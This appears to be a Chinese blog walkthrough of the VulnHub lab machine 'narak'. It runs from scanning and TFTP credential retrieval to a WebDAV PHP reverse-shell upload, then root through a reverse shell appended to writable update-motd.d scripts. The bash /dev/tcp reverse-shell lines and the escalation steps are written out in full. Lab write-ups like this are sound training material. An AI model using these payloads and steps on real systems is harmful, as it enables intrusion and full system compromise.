vulnhub:narak官方下载

难度:⭐⭐

前言

本系列第3台靶机精讲:narak,打破常规信息搜集的思维定式,不论是对webdav的了解还是对motd提权的运用都能够让初学者对浸透的认知更上一层楼。

阅读此篇,你将认识除了nmap的别的2款性能强壮的网络扫描器,并充沛了解update-motd.d脚本的效果及其运用办法。

侦查

netdiscover&masscan

虽然nmap的应用频率和适用性很大,但对于其他网络扫描工具的了解和应用,咱们也应该进行必定程度上的了解。

netdiscover是一款网络发现工具,主要用于发现局域网内的活跃主机

sudo netdiscover -r 10.10.10.0/24

运用netdiscover需求sudo权限;-r指定扫描规模,这儿扫描整个C段

参阅扫描成果:

Currently scanning: Finished!   |   Screen View: Unique Hosts
 180 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 10800                                                                                      
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 10.10.10.1      00:50:56:c0:00:08    162    9720  VMware, Inc.                                                                                           
 10.10.10.2      00:50:56:f9:cd:83      6     360  VMware, Inc.                                                                                           
 10.10.10.129    00:0c:29:f8:16:43      7     420  VMware, Inc.                                                                                           
 10.10.10.254    00:50:56:ef:4a:8a      5     300  VMware, Inc.      

10.10.10.1为物理机私网IP,10.10.10.2为网关,10.10.10.129即为靶机IP,10.10.10.254是播送地址

端口扫描能够选用masscan,它能够非常快速地扫描IP以检测方针主机的哪些端口予以呼应

sudo masscan 10.10.10.129 -p 1-10000

masscan相同需求sudo权限才干正常运转,依据时刻和功率的综合考量,扫描前10000个端口即可

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo masscan 10.10.10.129 -p 1-10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-03-27 04:08:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [10000 ports/host]
Discovered open port 22/tcp on 10.10.10.129                                    nd=0       
Discovered open port 80/tcp on 10.10.10.129

主机敞开有2个端口,分别是22和80

80端口信息搜集

对于http的资源嗅探,首要拜访主页,URL栏搜索靶机IP

甄选靶机精讲系列(三)——narak:TCP?UDP?信息搜集何时是个头啊!

呈现了许多张jpg格局的图片,图中只截取了页面末尾的信息。对于web主页的信息搜集,需求仔细观察,切忌焦躁,对内部的动态链接要不断测验探索,观察源代码或许站点标题HA:NARAK或许是一个http-title,在这台靶机中或许用处不大。别的,咱们还应该考虑到图片的隐写,虽然图片隐写的优先级不高根本不会碰见,但在主路走不通的情况下仍具有测验的价值。

值得一提的是,页脚呈现了Hacking Articles的超链接,这个网站对于网络安全学习者的帮助起到了火上加油的效果,其不仅涵盖了红队的根本技术,还执笔了大量靶机的awesome walkthrough(精选题解),而且其思路和办法和国内有所不同,值得一学。

主页没有得到有效信息,那就实施目录爆炸

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo gobuster dir -u http://10.10.10.129 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/images               (Status: 301) [Size: 313] [--> http://10.10.10.129/images/]
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 2998]
/.php                 (Status: 403) [Size: 277]
/tips.txt             (Status: 200) [Size: 58]
/webdav               (Status: 401) [Size: 459]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]

index.html应该便是方才咱们拜访的主页,tips.txt是能够拜访的,看姓名估量有价值,webdav咱们肯定能经过它拿到一些信息的,因为其自身的用处便是文件传输,不免产生一些信息走漏,但状况码为401表明咱们先要拿到合理的凭证才干拜访该页面。

先看tips.txt文件

甄选靶机精讲系列(三)——narak:TCP?UDP?信息搜集何时是个头啊!

“能够在creds.txt中发现打开narak之门的线索。”

假如你有满足的思维宽度,或许拥有必定的打靶经历,那么对于creds.txt关键词的了解就不会简略的停留在文件名这一层面上。要知道。它仅仅是一串带了点的字符串,也便是说,只要是任何能经过字符串交互的当地都有或许用到这个关键词,例如URL的输入能够加上这个作为途径,那它是在网站根目录下?还是在二级目录下?又比如说凭证的输入是否能够加上这个作为暗码?在/webdav/的授权登录中,因为咱们没有可信的用户名候选名单,因而作为暗码的概率较小,但作为一个文件名的概率是非常大的。经测验,关于creds.txt所有的途径都是404。

这是narak靶机的一大难点,不知道各位当时做到这个方位的时候是怎样考虑的,是重新进行目录枚举?还是对webdav进行表单爆炸?我在这儿供给一下我的思路,仅作参阅:首要creds.txt肯定是作为一个文件名存在于体系内的,既然在web端拜访不了,那就阐明其寄存的空间不在网站的目录结构之内,但问题是,咱们不知道它还能在哪儿,这就阐明咱们对该体系的信息搜集规模,尤其是对运转服务的枚举力度还不够大,即在开始的扫描阶段呈现战略失误,或许漏掉了一些关键信息。

重返UDP端口嗅探

对于各种服务所依靠的端口,只要TCP和UDP两种,前者在之前扫描过,而后者即为咱们所重视的对象

运用nmap进行top100的UDP端口扫描

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ sudo nmap -sU --top-ports 100 10.10.10.129           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 01:36 EDT
Nmap scan report for 10.10.10.129
Host is up (0.00056s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 00:0C:29:F8:16:43 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 108.02 seconds

UDP自身是“无衔接”协议,即没有明确的“敞开”状况,这一点与TCP有所不同,因而69端口是或许敞开的,测验运用一下

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp> 

因为TFTP是依据UDP协议的,因而它不会像TCP协议那样建立明确的衔接状况,因而,判别TFTP是否衔接成功更多地依靠于观察指令呼应、数据包交换和日志输出等方面的信息

运用get指令测验衔接是否正常

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ tftp 10.10.10.129
tftp> get creds.txt
tftp> 

没有显现Transfer timed out.阐明指令被正确履行,即kali的当时目录下现已下载好creds.txt文件了

运用quit退出后检查creds.txt内容

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ cat creds.txt 
eWFtZG9vdDpTd2FyZw==

依据字符特征能够判别出这是一串base64编码,运用kali自带的base64指令进行解码

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ echo "`cat creds.txt`" | base64 -d
yamdoot:Swarg 

反引号里的内容会以履行的成果替换掉原指令,等价于echo "eWFtZG9vdDpTd2FyZw==";管道符会将前面句子的输出成果作为后边句子的输入,即把eWFtZG9vdDpTd2FyZw==进行base64的解码。得到凭证yamdoot:Swarg

有了账号暗码,就要考虑其能够用在哪些登录界面。譬如ssh登录、webdav的授权认证等界面都能够进行测验,终究发现它能够用于拜访/webdav/目录

甄选靶机精讲系列(三)——narak:TCP?UDP?信息搜集何时是个头啊!

一般来说,暴露出来的目录咱们能够履行其间的文件,但这儿没有任何文件。假如你不了解webdav这种依据http的文件传输与共享的网络协议,或许会以为这便是一个一般的文件夹名称。在此处,webdav是一个专有名词,咱们能够经过在上一篇靶机精讲中提到过的searchsploit进行公开漏洞运用,也能够运用专门针对webdav的davtest测验工具。

davtest为例

davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /

运用davtest指令主张先经过davtest -h检查一下教程。反弹shell的办法许多,上述指令仅仅是经过自建shell.php上传并点击履行来完成的;-auth给出授权凭证;-uploadfile选择咱们要上传的文件,此处咱们写入的是经典的一句话bash反弹句子<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"');?>-uploadloc指定上传的途径,即相对于webdav的根目录,此选项需和-uploadfile成对呈现。

履行成功时成果如下:

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ davtest -url http://10.10.10.129/webdav -auth yamdoot:Swarg -uploadfile shell.php -uploadloc /
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://10.10.10.129/webdav
********************************************************
 unless  Uploading file
Upload succeeded: http://10.10.10.129/webdav//

此刻拜访/webdav/目录,就会呈现一个shell.php文件。在点击其履行之前,先保证kali中已启用nc监听

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 1000  
listening on [any] 1000 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 44738
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/webdav$ 

衔接信息咱们简略解析一下:Inverse Host Lookup Failed表明解析靶机的主机名失败了,这条信息影响不大;Cannot Set Terminal Process Group & No Job Control in This Shell表明终端功用不完整,也便是shell的交互性不友好,这点能够经过引进python的pty模块解决。

枚举

鉴于上述剖析中提到shell的不完善功用,在枚举之前先进行shell的修正

python3 -c 'import pty;pty.spawn("/bin/bash")'

python指令中的-c选项表明履行后边的python代码字符串,经过引进pty模块中的spawn()函数来发动一个新的bashshell,以进步终端交互性。

进行根本的用户信息检查

www-data@ubuntu:/var/www/webdav$ whoami
whoami
www-data
www-data@ubuntu:/var/www/webdav$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

然后进行体系状况信息检查

www-data@ubuntu:/var/www/webdav$ cat /proc/version
cat /proc/version
Linux version 4.15.0-20-generic (buildd@lgw01-amd64-039) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018

检查其他用户

www-data@ubuntu:/var/www/webdav$ cat /etc/passwd | grep home | grep bash
cat /etc/passwd | grep home | grep bash
narak:x:1000:1000:narak,,,:/home/narak:/bin/bash
yamdoot:x:1001:1001:,,,:/home/yamdoot:/bin/bash
inferno:x:1002:1002:,,,:/home/inferno:/bin/bash

接下来能够测验sudo -l,但因为咱们是经过反弹shell进入体系的,没有暗码,因而大概率无法看到其内容;也能够测验cat /etc/crontab,或许cat /var/spool/cron/crontabs,体系提示权限不足。到这儿为止,之前的提权办法就不管用了,从权限体系的视点出发,咱们需求查找当时用户所拥有必定权限的文件,包含但不限于可写(w)、root身份履行(s)以及用户家目录下的非常规文件。

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var

find指令处于linux指令的榜首队伍,运用十分广泛。-writable指定查找可修改文件;-type指定查找类型为f(一般文件);因为成果许多,其间大部分都是体系文件没有运用含义,因而用grep -v进行反向筛选。procsys在大多数查询限制条件中都能够排除去,var因为包含网站根目录,因而是否要将其排除需求视情况而定,这些细节会在后续靶机精讲中逐渐提及。

参阅成果:

www-data@ubuntu:/var/www/webdav$ find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var
<dev/null | grep -v proc | grep -v sys | grep -v var
/mnt/hell.sh
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/80-esm
/etc/update-motd.d/80-livepatch
/etc/update-motd.d/10-help-text
/etc/apache2/users.password

能够看到,/mnt/下有一个非常规文件hell.sh,在boot2root类型的靶机中,相似的非常规文件必定包含有价值的信息;再往下看,/etc/update-motd.d/下有一系列可写文件,这些通通都能够运用低权限修改,高权限履行的提权思维,这一点B站上的红队笔记现已解说得十分清楚,在此我就不再赘述。

首要检查hell.sh文件

www-data@ubuntu:/var/www/webdav$ cat /mnt/hell.sh
cat /mnt/hell.sh
#!/bin/bash
echo"Highway to Hell";
--[-----> <]>---.     . .           .--.   [->   <]>  .      .--[---> <]>--.-----.    .

假如你不知道这是什么编码,能够把它扔给谷歌或许AI进行判别,根本都能提示出这是brainfuck编码格局。运用brainfuck解码工具能够得到一个字符串chitragupt,不难想到这或许是某个用户的暗码。

先测验一下su - root,假如不行,再测验登录其他用户

www-data@ubuntu:/var/www/webdav$ su - root
su - root
Password: chitragupt
su: Authentication failure
www-data@ubuntu:/var/www/webdav$ su - inferno
su - inferno
Password: chitragupt
inferno@ubuntu:~$

成功切换为inferno用户,因为用户权限进步了,因而能够重新运用find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v var看一下是否存在其他可运用文件。在成果中,update-motd.d目录仍然存在,这就为咱们的提权供给了或许。

update-motd.d是linux体系中比较常见的一个脚本目录,每逢有用户经过 SSH 或其他终端服务登录体系时,这些脚本会被履行,并将它们的输出显现在登录消息中。在本台靶机中:

inferno@ubuntu:~$ cd /etc/update-motd.d;ls -lah
cd /etc/update-motd.d;ls -lah
total 36K
drwxrwxrwx  2 root root 4.0K Sep 21  2020 .
drwxr-xr-x 80 root root 4.0K Sep 22  2020 ..
-rwxrwxrwx  1 root root 1.2K Apr  9  2018 00-header
-rwxrwxrwx  1 root root 1.2K Apr  9  2018 10-help-text
-rwxrwxrwx  1 root root 4.2K Apr  9  2018 50-motd-news
-rwxrwxrwx  1 root root  604 Mar 21  2018 80-esm
-rwxrwxrwx  1 root root 3.0K Mar 21  2018 80-livepatch
-rwxrwxrwx  1 root root  299 May 18  2017 91-release-upgrade

文件名的数字表明他们的履行顺序,00-header脚本会被最早履行,表明通用的欢迎信息

因而,在任何一个脚本里刺进bash的反弹句子都能够达到提权效果,这和前面几台靶机精讲的提权逻辑千篇一律,假如你还未对此提权思维具有透彻了解,可移步至甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?进行学习。

10-help-text为例

inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text
<>& /dev/tcp/10.10.10.128/999 0>&1'" >> 10-help-text

追加写入成功后,exit退出终端,然后运用ssh inferno@10.10.10.129进行长途登录,这个进程就会调用update-motd.d目录下的所有脚本,而且履行权限为root。在保证kali中启用nc -lvp 999监听后,履行登陆操作。

当kali中呈现如下呼应即阐明提权成功:

┌──(rainbowpigger㉿kali)-[~/narak]
└─$ nc -lvp 999 
listening on [any] 999 ...
10.10.10.129: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.129] 43328
bash: cannot set terminal process group (2551): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/# 

结语

在终究的提权阶段,咱们选用的是反弹shell的办法来获取root权限的,但在日后的打靶进程中,这种办法不必定见效,实际情况或许会受到waf的搅扰或许其他限制,因而咱们往往会运用一些依据当时用户权限进步的手段,包含但不限于修改sudoers文件权限、添加root权限用户等办法。相似的提权战略咱们会在后续的靶机精讲中逐渐讲解。

假如各位读者有任何与本台靶机相关的疑问或许有更好的见地,欢迎随时在评论区留言,我将诚挚回复!

系列精彩文章

# 甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?

# 甄选靶机精讲系列(二)——sar:史上最简练朴素的攻击链